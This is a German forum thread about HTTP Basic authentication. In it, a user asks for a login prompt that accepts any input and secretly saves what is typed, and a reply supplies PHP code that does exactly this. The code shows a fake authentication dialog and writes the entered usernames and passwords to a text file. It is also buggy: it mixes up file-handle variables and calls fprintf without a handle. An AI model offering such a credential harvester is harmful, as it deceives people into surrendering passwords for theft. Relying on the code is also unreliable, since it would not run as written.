htaccess Eingabe Speichern

h3h3j0

Grünschnabel
Hallo,
undzwar suche ich ein Script, dass wenn man die .php Datei öffnet, dass solch eine Abfrage kommt:
a558d1189197864-firefox-2.jpg
Was man in diese Abfrage eingibt, sollte sich dann in einer .txt abspeichern.
Nachdem man einmal die Eingabe gemacht hat, sollte die Abfrage nicht mehr erscheinen.
Ich bedanke mich schonmal.
 
Hi und Willkommen bei tutorials.de,

wie oft man das eingeben muss kann von PHP aus nicht beeinflusst werden.
Die htaccess-Authentifizierung findet nur zwischen Apache/Browser statt.
Es gibt auch keine Möglichkeit, derartige Eingaben zur Weiterverarbeitung zu bekommen
(Textdateien sind sowieso etwas fehl am Platz).

PS: Bitte keine Pushs.
 
Und wie kann man das so programmieren, dass egal was man eingibt durchkommt, und das was man eingibt irgendwo gespeichert wird?
 
Z.B. so:

PHP:
<?php
// Prüfen, ob Benutzername und Passwort eingeben wurde
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) {
	// HTTP-Auth-Header senden, um ein Eingabe-View zu präsentieren
    header('WWW-Authenticate: Basic realm="Benutzer-Name und Passwort-Eingabe"');
    header('HTTP/1.0 401 Unauthorized');
    echo 'Bitte geben Sie einen Benutzernamen und ein Passwort ein!';
    exit;
} else {
	// Benutzername und Passwort wurden eingegeben, öffne Datei zum anhängen
	$fd = fopen("eine_datei.txt", "w");
	// Konnte Datei erfolgreich geöffnet werden?
	if($fp)
	{
		// Schreibe Daten in die Datei
		fprintf("Benutzername: %s\nPasswort: %s\n", $_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']);
		// Schließe die Datei und speichere ab
		fclose($fp);
	}
	else
	{
		// Fehlermeldung ausgeben
		echo "Konnte Datei nicht zum Anhängen öffnen!";
	}
}
?>
 
Zurück